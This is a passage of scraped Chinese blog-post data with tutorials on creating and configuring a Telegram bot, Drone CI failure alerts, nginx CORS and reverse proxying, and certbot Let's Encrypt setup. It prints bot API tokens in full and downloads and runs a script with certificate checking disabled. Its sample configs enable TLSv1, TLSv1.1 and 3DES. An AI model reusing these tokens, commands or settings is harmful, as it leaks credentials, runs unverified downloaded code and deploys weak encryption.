顯示機器人的 token /revoke 產生新的 token，舊的會失效 /setjoingroups 設定是否能被加入群組 /setprivacy 設定是否能讀取所有聊天室訊息（機器人的訊息除外，機器人不論如何都不會看到機器人的訊息） 建立你的機器人吧 輸入 /newbot 指令 幫機器人取名字 1 Alright, a new bot. How are we going to call it? Please choose a name for your bot. 這邊它會要你幫你的機器人取一個名字，這個以後能修改，所以隨便取沒差\n設定 username 1 Good. Now let\u0026#39;s choose a username for your bot. It must end in `bot`. Like this, for example: TetrisBot or tetris_bot. ⚠️ 注意：設定後就不能修改了，請謹慎思考之後設定，避免反悔時需要請使用者遷移\n需要幫你的機器人設定一個 username，必須符合以下規則：\n不需要打 @ 以 a~z 開頭 以 bot 結尾 只能使用 az、09 和底線 最小長度為 5 個字元 顯示時會區分大小寫，使用時不區分大小寫（例如設定成 @TetrisBot，用 @tETrISbOt 一樣會指到同一個機器人）\n常見問題：\n不能以數字開頭 1 Sorry, this username is invalid. 不能用 bot 以外的字結尾 1 Sorry, the username must end in \u0026#39;bot\u0026#39;. E.g. \u0026#39;Tetris_bot\u0026#39; or \u0026#39;Tetrisbot\u0026#39; username 已經被別人先用走了 1 Sorry, this username is already taken. Please try something different. 出現 Done 表示你設定成功了\n使用你的機器人吧 現在你已經可以使用機器人了\n按下說明裡的連結(t.me/ironman2021_by_miku3920_bot 點你自己的)，並且點擊「開始」\n然後你就會發現什麼事情都沒發生，因為我們還沒寫機器人的程式嘛\n不過就算不寫程式也可以讓它說話，利用 HTTP GET 方法，與 sendMessage 這個 API\n1 https://api.telegram.org/bot{Token}/{Method}?{Parameter1}={Value1}\u0026amp;{Parameter2}={Value2} Token：1985044907:AAEdySrbzTc8tVdBjfymlfyaBUJGeu7r-v4（你的 bot token） Method：sendMessage Parameter1：chat_id Value1：127355800（你的 uid，可以透過 @userinfobot 取得） Parameter2：text Value2：Hello,+World!+你好，世界！（空白要用「+」替換） 組合完會像這個樣子，直接貼到瀏覽器的網址列就能使用囉：\n1 https://api.telegram.org/bot1985044907:AAEdySrbzTc8tVdBjfymlfyaBUJGeu7r-v4/sendMessage?chat_id=127355800\u0026amp;text=Hello,+World!+你好，世界！ PS：聊天室的 chat_id，先將你的機器人邀請進入聊天室，再使用此網址取得：https://api.telegram.org/bot${your_bot_token}/getUpdates\n常見問題：\nToken 打錯 1 {\u0026#34;ok\u0026#34;:false,\u0026#34;error_code\u0026#34;:401,\u0026#34;description\u0026#34;:\u0026#34;Unauthorized\u0026#34;} Method 打錯 1 {\u0026#34;ok\u0026#34;:false,\u0026#34;error_code\u0026#34;:404,\u0026#34;description\u0026#34;:\u0026#34;Not Found\u0026#34;} chat_id 的值不能為空 1 {\u0026#34;ok\u0026#34;:false,\u0026#34;error_code\u0026#34;:400,\u0026#34;description\u0026#34;:\u0026#34;Bad Request: chat_id is empty\u0026#34;} chat_id 的值打錯 1 {\u0026#34;ok\u0026#34;:false,\u0026#34;error_code\u0026#34;:400,\u0026#34;description\u0026#34;:\u0026#34;Bad Request: chat not found\u0026#34;} 沒私訊過機器人 1 {\u0026#34;ok\u0026#34;:false,\u0026#34;error_code\u0026#34;:403,\u0026#34;description\u0026#34;:\u0026#34;Forbidden: bot can\u0026#39;t initiate conversation with a user\u0026#34;} text 的值不能為空 1 {\u0026#34;ok\u0026#34;:false,\u0026#34;error_code\u0026#34;:400,\u0026#34;description\u0026#34;:\u0026#34;Bad Request: message text is empty\u0026#34;} 成功的話會返回機器人發送的訊息（json 格式）到網頁上：\n1 {\u0026#34;ok\u0026#34;:true,\u0026#34;result\u0026#34;:{\u0026#34;message_id\u0026#34;:5,\u0026#34;from\u0026#34;:{\u0026#34;id\u0026#34;:1985044907,\u0026#34;is_bot\u0026#34;:true,\u0026#34;first_name\u0026#34;:\u0026#34;2021 iThome\\u9435\\u4eba\\u8cfd\u0026#34;,\u0026#34;username\u0026#34;:\u0026#34;ironman2021_by_miku3920_bot\u0026#34;},\u0026#34;chat\u0026#34;:{\u0026#34;id\u0026#34;:127355800,\u0026#34;first_name\u0026#34;:\u0026#34;\\u521d\\u97f3\u0026#34;,\u0026#34;last_name\u0026#34;:\u0026#34;\\u30df\\u30af\u0026#34;,\u0026#34;username\u0026#34;:\u0026#34;miku3920\u0026#34;,\u0026#34;type\u0026#34;:\u0026#34;private\u0026#34;},\u0026#34;date\u0026#34;:1631440402,\u0026#34;text\u0026#34;:\u0026#34;Hello, World! \\u4f60\\u597d\\uff0c\\u4e16\\u754c\\uff01\u0026#34;}} Telegram 機器人的設定 輸入 /mybots 指令後就會出現機器人列表\n1 Choose a bot from the list below: 選擇一個你要查看或設定的機器人\n我之前就有建立過機器人，所以會顯示兩個\n1 2 Here it is: 2021 iThome鐵人賽 @ironman2021_by_miku3920_bot. What do you want to do with the bot? 點下去後就會出現六個選項，我一個個來講解：\nAPI Token - 查看 token 1 2 3 Here is the token for bot 2021 iThome鐵人賽 @ironman2021_by_miku3920_bot: 1985044907:AAH1kZaEZFHoA6YqB6IFtvbkyOjvcpPOfbQ 忘記 token 時可以來這裡查看，或是你想要重置 token\nRevoke current token - 重置 token 1 2 3 Token for the bot 2021 iThome鐵人賽 @ironman2021_by_miku3920_bot has been revoked. New token is: 1985044907:AAG3E05XowN2sqy286aplwr6oBc17q0CByg 按下重置按鈕後，它就會給你一個新的 token，舊的會立即失效\nEdit Bot - 修改機器人 1 2 3 4 5 6 7 Edit @ironman2021_by_miku3920_bot info. Name: 2021 iThome鐵人賽 Description: ? About: ? Botpic: ? no botpic Commands: no commands yet Edit Name - 修改名字 按下按鈕後會出現以下訊息\n1 OK. Send me the new name for your bot. 直接傳送新的名稱給它就行了\n1 Success! Name updated. /help 看到這個就是修改成功了\nEdit Description - 修改說明 這個會顯示在聊天室的最上方，用來說明機器人有能些功能，或是如何使用\n1 OK. Send me the new description for the bot. People will see this description when they open a chat with your bot, in a block titled \u0026#39;What can this bot do?\u0026#39;. 傳送一段訊息給它，可以是多行的文字\n1 Success! Description updated. /help 看到這個就是修改成功了\n原本在聊天室上方啥都沒有，現在多了一個訊息框\nEdit About - 修改簡介 這個會顯示在機器人的個人資訊頁面上\n1 OK. Send me the new \u0026#39;About\u0026#39; text. People will see this text on the bot\u0026#39;s profile page and it will be sent together with a link to your bot when they share it with someone. 傳送一段訊息給它，可以是多行的文字\n1 Success! About section updated. /help 看到這個就是修改成功了\n原本是只有顯示 username，現在多了 簡介\nEdit Botpic - 修改大頭貼 1 OK. Send me the new profile photo for the bot. 建議先裁切成正方形（1：1）\n1 Please send me the picture as a \u0026#39;Photo\u0026#39;, not as a \u0026#39;File\u0026#39;. 這邊要傳送照片，不能傳檔案\n1 Success! Profile photo updated. /help 成功的話，機器人的大頭貼就會更新成剛剛上傳的圖片\nEdit Commands - 修改指令選單 1 2 3 4 5 6 OK. Send me a list of commands for your bot. Please use this format: command1 - Description command2 - Another description Send /empty to keep the list empty. 要按照它給的格式輸入，不需要打 /\n1 Success! Command list updated. /help 成功的話，選單中就會出現剛剛設定的指令\n如果機器人是在群組使用，建議改成空的，避免誤觸\n群組裡較常使用 ! 開頭的指令，這樣才不會變成藍藍的容易按到\n在剛剛那邊，按 /empty 就行了\n修改完會變成這樣：\n1 2 3 4 5 6 7 8 9 10 11 12 13 Edit @ironman2021_by_miku3920_bot info. Name: 2021 iThome鐵人賽 Description: 一些說明文字，功能如下： 1. AAA 2. BBB 3. CCC About: 鐵人賽展示用機器人 by @miku3920 鐵人賽展示用機器人 by @miku3920 鐵人賽展示用機器人 by @miku3920 Botpic: ? has a botpic Commands: no commands yet Bot Settings - 設定機器人 1 Settings for @ironman2021_by_miku3920_bot. Inline Mode - 內聯模式（內嵌模式） 可以讓機器人直接在訊息輸入框使用，不需要將機器人加入群組\n這個功能夠講一整天了，目前還用不到，我們以後專門找一天來講\nAllow Group? - 是否能被加入群組? 1 2 3 Groups are currently enabled for bot 2021 iThome鐵人賽 @ironman2021_by_miku3920_bot Disabling groups will forbid users to add 2021 iThome鐵人賽 to groups. enabled(預設) - 表示機器人能被別人拉進群組\n如果你不想讓別人拉你的機器人，可以按 Turn groups off\n1 2 3 Groups are currently disabled for bot 2021 iThome鐵人賽 @ironman2021_by_miku3920_bot. Enabling groups will allow users to add 2021 iThome鐵人賽 to groups. disabled - 表示機器人不能被別人拉進群組\n如果你想讓別人的群組也能使用你的機器人，就按 Turn groups on\nGroup Privacy - 是否能讀取所有聊天室訊息 官方說明\n1 Privacy mode is enabled for 2021 iThome鐵人賽 @ironman2021_by_miku3920_bot. enabled(預設) - 表示機器人是成員時不能讀取群組裡的所有訊息\n機器人只看的到它的指令和回覆它的訊息\n但是如果升級成管理員就沒這限制\n1 Privacy mode is disabled for 2021 iThome鐵人賽 @ironman2021_by_miku3920_bot. disabled - 表示機器人就算不是管理員也能讀取群組裡的所有訊息\n機器人是成員時就能讀取所有訊息\nPayments - 付款相關設定 台灣不能用，有生之年系列，跳過\nDomain - 網站登入用 與機器人較無關，暫時不提\nPayments - 付款相關設定 歐付寶、綠界、台灣 pay、街口、悠遊付，不考慮進駐一下嗎\nTransfer Ownership - 轉移機器人 ⚠️ 注意：非必要請勿使用！\nChoose recipient - 選擇使用者 1 Please share the new owner\u0026#39;s contact or their username. 按下按鈕後，它會請你把對方以聯絡人的方式分享給它，或是輸入對方的 username\n常見問題：\n要輸入 @username，不能只輸入 username 1 Incorrect format. Please make sure to send either a contact or username. 不能轉移給頻道、機器人、或是自己 1 Bot ownership can\u0026#39;t be transferred to channel, another bot or yourself. 對方要私訊過機器人，而且不能封鎖機器人 1 Oops! Please make sure the new owner has sent at least one message to the bot and didn\u0026#39;t block it. 輸入正確的話，就會出現以下訊息：\n1 2 3 4 5 You are about to transfer ownership of the bot @ironman2021_by_miku3920_bot to 初音 ミク. After this you won\u0026#39;t be able to control the bot anymore. The new owner will get access to the bot messages and other data – and can even delete the bot completely. Please make sure you don\u0026#39;t violate your users\u0026#39; privacy (consider GDPR and other laws). If you are sure please press the button below. 看到這則訊息代表離成功轉移不遠了\nYes, I am sure, proceed. - 確認轉移 如果你有設定兩步驟驗證的話，這邊會跳出來要你輸入\n常見問題：\n對方擁有的機器人數量已達上限 1 Oops! has reached the maximum allowed number of bots. Please ask them to delete (or pass to another account) one of their unused bots first. 如果對方已經有 20 隻機器人（達到上限），就會出現這個對話框，他請你先叫對方轉移或刪除一些沒在用的機器人，這樣你才可以轉移給對方。\n1 It worked! We hope @ironman2021_by_miku3920_bot will enjoy its new home. 如果轉移成功就會出現這則訊息\n1 2 3 Ownership of the bot @ironman2021_by_miku3920_bot has been transferred to you by 初音 ミク. You can now control the bot using /mybots. If you did not request this, you can delete the bot. Delete Bot - 刪除機器人 ⚠️ 注意：非必要請勿使用！\n1 You are about to delete your bot 2021 iThome鐵人賽 @ironman2021_by_miku3920_bot. Is that correct? 這邊的按鈕順序是隨機的，避免你頭腦不清楚把機器人刪了\n1 Are you TOTALLY sure you want to delete 2021 iThome鐵人賽 @ironman2021_by_miku3920_bot ? 要連續按兩次 Yes 機器人才會被刪掉\n1 You have deleted 2021 iThome鐵人賽 @ironman2021_by_miku3920_bot. 看到這則訊息表示機器人已經刪除，無法復原\n所有群組裡的這隻機器人都會顯示成 Deleted Account\nBonus：Drone CI/CD 流程失敗時，叫你的 Telegram 機器人通知你！ 建立群組，並取得群組的 chat_id Telegram 建立群組，並將你的 Telegram 機器人拉進群組內(@{your bot username})。 透過此 API 取得群組的 chat_id： 1 https://api.telegram.org/bot${your bot token}/getUpdates getUpdates API 會取得 json，找到你剛剛開的群組的 chat_id\n透過 Drone Plugin 從 Drone Plugin 可以找到很多套件，可以搭配 CI/CD 使用，而我從這找到 Telegram by appleboy 的套件。\nDrone CI/CD 補上告警的 step。 你的 Drone CI/CD step 加上使用 Telegram by appleboy 叫你的機器人於 pipeline 失敗時於群組內發出告警。\nPS：記得將你的 telegram bot token 與群組的 chat_id 加到 Drone Secrets。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 kind: pipeline type: docker name: install and deploy steps: - name: build image: node:15 commands: - node --version - yarn --version # - yarn cache clean -f - yarn install --ignore-engines - yarn run build - ls -al dist/static/ when: branch: - master event: - push - name: deploy image: thegeeklab/drone-s3-sync settings: bucket: xxxxxxxxx(你的aws s3 bucket) access_key: from_secret: aws_access_key_id secret_key: from_secret: aws_secret_access_key source: ./dist/ target: /admin acl: \u0026#34;*\u0026#34;: public-read region: xxxxxxxxx(你的aws s3 region) delete: true cloudfront_distribution: xxxxxxxxx(你的aws cloudfront distribution) when: branch: - master event: - push + - name: send telegram notification + image: appleboy/drone-telegram + settings: + token: + from_secret: telegram_bot_token + to: + from_secret: telegram_chat_id + format: markdown + message: \u0026gt; + `{{repo.name}}` 於 `{{commit.branch}}` 編譯失敗：#`{{build.number}}` + when: + status: [failure] token： 你的 Telegram 機器人的 token。 to： chat_id。 format： 使用 markdown 格式。 message： 機器人傳的訊息。 when.status [failure]： 當此 pipeline 失敗時觸發此 step(send telegram notification)，亦可於成功或失敗皆告警：[success, failure]。 詳細參數可參考 Drone Plugin - appleboy/drone-telegram\n","date":"2022-08-25T00:00:00Z","image":"https://live.staticflickr.com/65535/52309739568_a0d98a6137_o.png","permalink":"https://blog.wayne-project.com/2022-08-25/drone-cicd-with-telegram-bot/","title":"Telegram 機器人說明，並為你的 Drone CI/CD 配置 Telegram 機器人"},{"content":" 參考文章 CORS跨域與Nginx反向代理 CORS on Nginx Nginx解决CORS跨域解决方案 在 Nginx 的 ProxyPass Upstream 設定 CORS （跨來源資源共享） CORS跨域 跨域資源共享 - CORS 跨域資源共享(CORS)是一種機制，它使用額外的 HTTP 頭來告訴瀏覽器，讓運行在一個 origin (domain) 上的Web應用被准許訪問來自不同源服務器上的指定的資源。當一個資源從與該資源本身所在的服務器不同的域、協議或端口請求一個資源時，資源會發起一個跨域 HTTP 請求。\n比如，站點 http://domain-a.com 的某 HTML 頁面通過 \u0026lt;img\u0026gt; 的 src 請求 http://domain-b.com/image.jpg。網絡上的許多頁面都會加載來自不同域的CSS樣式表，圖像和腳本等資源。\n出於安全原因，瀏覽器限制從腳本內發起的跨源HTTP請求。例如，XMLHttpRequest和Fetch API遵循同源策略。這意味著使用這些API的Web應用程序只能從加載應用程序的同一個域請求HTTP資源，除非響應報文包含了正確CORS響應頭。\n跨域時部分瀏覽器預設不攜帶cookie，因此為了攜帶cookie需要在前端設定xmlhttprequest的withCrendetalls屬性。 「同源」定義 「同源」定義很簡單，以下三個參數都相同：\n1 [protocol]://[domain]:[port] 白話說，當你在 https://www.example.com/product.html 頁面\n嘗試對以下路徑發出請求，都違反同源：\nhttp://www.example.com/api/products/40.json https://www.example2.com/api/products/40.json https://www.example.com:8080/api/products/40.json 乖孩子遵守同源，不會被打：\nhttps://www.example.com/api/products/40.json 簡單請求和複雜請求 簡單請求與複雜請求的差別是複雜請求會自動發出一個 OPTIONS 的預檢請求，當請求得到確認後，才開始真正發送請求。\n綜上，我們要解決兩個問題：\nOPTIONS 請求的正確響應 跨域請求正確響應 OPTIONS 請求的正確響應 參考網址\n解決的方式有多種，既可以在Web Server解決，也可以在源碼層解決。因為問題比較普遍，故我們選擇在Web Server解決，下面我們以 Nginx 為例，說明解決方案。 假設訪問的地址為 /example , Nginx 配置如下: 1 2 3 4 5 6 7 location /example { proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://127.0.0.1:8080/; } 為了解決跨域問題，添加如下內容: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 location /example { + if ($request_method = \u0026#39;OPTIONS\u0026#39;) { + add_header Access-Control-Allow-Origin *; + add_header Access-Control-Max-Age 1728000; + add_header Access-Control-Allow-Methods GET,POST,OPTIONS; + add_header Access-Control-Allow-Headers \u0026#39;DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range\u0026#39;; + add_header Content-Type\u0026#39; \u0026#39;text/plain; charset=utf-8\u0026#39;; + add_header Content-Length 0 ; + return 204; + } proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://127.0.0.1:8080/; } 說明： if ($request_method = 'OPTIONS') {...} 當請求方法為 OPTIONS 時:\n添加允許源 Access-Control-Allow-Origin 為 * (可根據業務需要更改) 添加緩存時長 Access-Control-Max-Age，當下次請求時，無需再發送 OPTIONS 請求 添加允許的方法，允許的首部 添加一個內容長度為0，類型為 text/plain; charset=utf-8 , 返回狀態碼為 204 的首部 至此，完成 OPTIONS 請求的正確響應。\n跨域請求正確響應 添加如下內容:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 location /example { if ($request_method = \u0026#39;OPTIONS\u0026#39;) { add_header Access-Control-Allow-Origin *; add_header Access-Control-Max-Age 1728000; add_header Access-Control-Allow-Methods GET,POST,OPTIONS; add_header Access-Control-Allow-Headers \u0026#39;DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range\u0026#39;; add_header Content-Type\u0026#39; \u0026#39;text/plain; charset=utf-8\u0026#39;; add_header Content-Length 0 ; return 204; } + if ($http_origin ~* (https?://(.+\\.)?(example\\.com$))) { + add_header Access-Control-Allow-Origin $http_origin; + add_header Access-Control-Allow-Credentials true; + add_header Access-Control-Allow-Methods GET,POST,OPTIONS; + add_header Access-Control-Expose-Headers Content-Length,Content-Range; + } proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://127.0.0.1:8080/; } 說明： if ($http_origin ~* (https?://(.+\\.)?(example\\.com$))) {...}，當 origin 為合法域名(可根據業務調整或去除合法域名驗證)時:\n添加允許源 Access-Control-Allow-Origin 為 $http_origin (可根據業務需要更改) 添加允許認證 Access-Control-Allow-Credentials 為 true ，允許接收客戶端 Cookie(可根據業務需要更改。 但要注意，當設置為true時，Access-Control-Allow-Origin 不允許設置為 *) 添加允許的方法，暴露的首部 至此，完成跨域請求正確響應。\n以上，是對跨域請求在Web Server的解決方案，主要是通過響應 OPTIONS 方法和添加允許源來解決。\n當然，如果本地開發中，可以在利用 webpack-dev-server 的 proxy 選項來快速解決跨域問題：\n示例如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 // webpack.congf.js module.exports = { //... devServer: { proxy: { \u0026#39;/api\u0026#39;: { target: \u0026#39;http://localhost:3000\u0026#39;, pathRewrite: {\u0026#39;^/api\u0026#39; : \u0026#39;\u0026#39;} } } } } 當訪問地址如 /api/foo?q=bar 時，則通過代理訪問的實際地址是: http://localhost:3000/foo?q=bar。\nNginx反向代理 nginx反向代理，通過修改nginx配置檔案實現反向代理，請求統一通過nginx分發請求\nNginx配置（192.168.75.139） 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 # 負載均衡 upstream my_site { server 192.168.75.138:8080; server 192.168.75.137:8080; server 192.168.75.136:8080; } server { listen 8081; server_name localhost; location ^~ /api/ { proxy_pass http://my_site/; proxy_set_header Host $host; proxy_set_header X-Real-ip $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } location = / { proxy_pass http://my_site/nginx/indexNginxCrossQuest.jsp; } location = /nginx/ { proxy_pass http://my_site/nginx/; proxy_set_header Host $host; proxy_set_header X-Real-ip $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } location ~ \\.(html|htm|ico|png|jpg|jpeg|js|css|bmp)$ { proxy_pass http://my_site; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } } 瀏覽器請求（192.168.75.1） 綜合對比 CORS Nginx反向代理 前端程式碼配置 credentials=true 無 後端程式碼配置 setHeader：Allow-Origin、Allow-Methods等 無 服務端配置 無 Nginx配置 移植靈活性 高、無額外配置 低、每增加一個環境都需要增加配置 安全性 高、來源可控、直接追溯 X-Forwarded-For追溯多級來源 安全控制 黑白名單 更新配置 ","date":"2022-08-23T00:00:00Z","image":"https://live.staticflickr.com/65535/52305241864_c3ef911be4_o.jpg","permalink":"https://blog.wayne-project.com/2022-08-23/nginx-cors-and-reverse-proxy/","title":"nginx CORS 跨域與反向代理"},{"content":" 參考文章 IT Note SSL憑證教學 - xoops 免費SSL憑證申請 nginx config產生器 Qualys 的 SSL 伺服器測試工具 版本一 步驟 1 - 下載安裝及執行的腳本 1 2 3 wget https://dl.eff.org/certbot-auto --no-check-certificate chmod +x ./certbot-auto ./certbot-auto -n 生成證書，只需要輸入郵件地址和網站根目錄，提示以下內容，說明安裝完成 1 2 3 Saving debug log to /var/log/letsencrypt/letsencrypt.log Missing command line flags. For non-interactive execution, you will need to specify a plugin on the command line. Run with \u0026#39;--help plugins\u0026#39; to see a list of options, and see https://eff.org/letsencrypt-plugins for more detail on what the plugins do and how to use them. 步驟 2 - nginx設定隱藏目錄訪問 1 2 3 location ~ /.well-known { allow all; } 步驟 3 - 生成域名證書 1 ./certbot-auto certonly --email tony@hack.idv.tw --agree-tos --no-eff-email --webroot -w /var/www/ -d hack.idv.tw 到目錄內查看 1 cd /etc/letsencrypt/live/ 萬用字元的申請指令 (需要驗證dns) 1 certbot-auto certonly -d *.manpc.tk --manual --preferred-challenges dns 步驟 4 - 設定nginx 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 server { listen 80; # IPv4 listen [::]:80; server_name hack.idv.tw ; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; #rewrite ^(.*) https://$host$1 permanent; return 301 https://www.itnotetk.com$request_uri; #跳轉到Https } server { listen 443 ssl http2; server_name hack.idv.tw ; ssl on; ssl_certificate /etc/letsencrypt/live/hack.idv.tw/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/hack.idv.tw/privkey.pem; client_max_body_size 256m; ssl_dhparam /etc/nginx/certs/dhparam.pem; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_stapling on; ssl_ciphers \u0026#34;ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA\u0026#34;; ssl_prefer_server_ciphers on; #add_header Strict-Transport-Security \u0026#34;max-age=63072000; includeSubdomains; preload\u0026#34;; add_header Strict-Transport-Security \u0026#34;max-age=31536000; includeSubDomains;preload\u0026#34; always; # ... Let\u0026rsquo;s Encrypt憑證只有90天 需要手動續約 1 0 1 * * * /root/certbot-auto renew --disable-hook-validation --renew-hook \u0026#34;/etc/init.d/nginx reload\u0026#34; 版本二 網路出處\nLet’s Encrypt 是一家新的證書頒發機構（Certificate Authority，簡稱 CA），其提供免費的 TLS/SSL 憑證再配合 Certbot 這個自動化工具，讓一般的網站可以很容易地使用 HTTPS 的安全加密網頁，設定很簡單，憑證的更新也可以自動處理。 以下我以 Ubuntu Linux 14.04 的系統為例，示範 nginx 伺服器使用 Let’s Encrypt 憑證設定 HTTPS 安全加密網頁的方法。 步驟 1 - 從 Certbot 官方網站下載 certbot-auto 指令稿，並設定其執行權限 1 2 wget https://dl.eff.org/certbot-auto chmod a+x certbot-auto certbot-auto 要放在哪裡都可以，建議一開始就找一個適合的地方放好，例如建立一個 /opt/letsencrypt 目錄，把 certbot-auto 放在這裡 1 2 mkdir /opt/letsencrypt mv certbot-auto /opt/letsencrypt/ 步驟 2 - 執行 certbot-auto ，讓它自動安裝所有相依套件 1 /opt/letsencrypt/certbot-auto 執行 certbot-auto 時，會需要輸入密碼取得 root 權限 步驟 3： 安裝完成所有需要的系統套件後，接著我們要透過 webroot 的方式，使用既有的 nginx 網頁伺服器來向 Let’s Encrypt 取得憑證，而在認證的過程會需要在網頁根目錄中建立一個 .well-known/acme-challenge/ 目錄，讓 Let’s Encrypt 的伺服器來讀取其中的內容。 一般的 nginx 伺服器通常會設定把句點開頭的隱藏檔案都擋掉，遇到這樣的狀況就會無法進行認證，這時候可以再加一小段設定，讓 .well-known/acme-challenge/ 目錄可以被正常讀取。 1 2 3 4 5 6 location ^~ /.well-known/acme-challenge/ { # the usual settings } location ~ /\\. { deny all; } 步驟 4 - 使用 certonly 功能下載憑證 1 /opt/letsencrypt/certbot-auto certonly --webroot -w /var/www/blog.gtwang.org/ -d blog.gtwang.org -d gtwang.org 步驟 5 - 輸入自己的 Email 信箱 步驟 6 - 閱讀使用條款，選擇「Agree」繼續 步驟 7 - 下載完成後，會出現類似這樣的成功訊息 1 2 3 4 5 6 7 8 IMPORTANT NOTES: - Congratulations! Your certificate and chain have been saved at /etc/letsencrypt/live/blog.gtwang.org/fullchain.pem. Your cert will expire on 2016-08-13. To obtain a new version of the certificate in the future, simply run Certbot again. - If you like Certbot, please consider supporting our work by: Donating to ISRG / Let\u0026#39;s Encrypt: https://letsencrypt.org/donate Donating to EFF: https://eff.org/donate-le 這樣就成功取得 Let’s Encrypt 的憑證了，而 nginx 用的憑證就儲存在 /etc/letsencrypt/live/blog.gtwang.org/ 目錄之下，其中 fullchain.pem 就是 nginx 需要憑證，而 privkey.pem 則是需要保護好的私鑰，關於憑證檔案的詳細說明，請參考 Certbot 的說明文件。 Certbot 還有提供另外一個 standalone 的方式來向 Let’s Encrypt 取得憑證，這種方式是由 Certbot 建立一個獨立的網頁伺服器，提供 Let’s Encrypt 讀取驗證用的資料，不過這樣的做法需要綁定 80 或 443 連接埠，所以通常還會需要暫停既有的網頁伺服器，對於一般的網站而言，會造成網站有幾秒鐘的斷線現象，所以我個人不喜歡這樣的方式。 接下來要設定 nginx 伺服器，使用這個新憑證來提供 HTTPS 的安全加密網頁。 步驟 8 - 要讓 nginx 啟用 HTTPS 安全加密網頁，只要加上 SSL 相關的幾行設定即可，其餘的設定保持不變，以下是我個人使用的 nginx 伺服器設定 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 server { # 傾聽 HTTPS 標準埠號 443 listen 443; # 同時啟用 IPv6 的 HTTPS 安全加密網頁 listen [::]:443; server_name blog.gtwang.org; root /var/www/blog.gtwang.org/; index index.php index.html index.htm; # 啟用 SSL ssl on; # 設定 SSL 憑證 ssl_certificate /etc/letsencrypt/live/blog.gtwang.org/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/blog.gtwang.org/privkey.pem; # 其他 SSL 選項 ssl_session_timeout 5m; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # omit SSLv3 because of POODLE (CVE-2014-3566) ssl_ciphers \u0026#39;ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS\u0026#39;; ssl_prefer_server_ciphers on; # ... } ssl_protocols 的部分記得要 把SSLv3拿掉 ，避免 POODLE 攻擊（CVE-2014-3566）。 步驟 9 - 設定好之後，檢查一下設定檔是否正確 1 service nginx configtest 步驟 10 - 確認無誤之後，重新載入設定檔 1 service nginx reload 這樣就完成 nginx 伺服器的設定了，接著就可以開啟 HTTPS 加密的網址來測試了，正常來說，使用 Google Chrome 瀏覽器開啟自己主機的 HTTPS 加密網址，應該就會顯示一個綠色的鎖頭，這樣就代表我們安裝的 SSL 憑證是有效的。 Let’s Encrypt 的憑證使用期限只有三個月，在憑證到期前的一個月可以使用 certbot-auto 來更新憑證，在實際更新之前我們可以加入 --dry-run 參數，先進行測試。 1 /opt/letsencrypt/certbot-auto renew --dry-run 若測試沒問題，就可以使用正式指令來更新 1 /opt/letsencrypt/certbot-auto renew --quiet --no-self-upgrade 而為了方便起見，可以將這個更新指令寫在 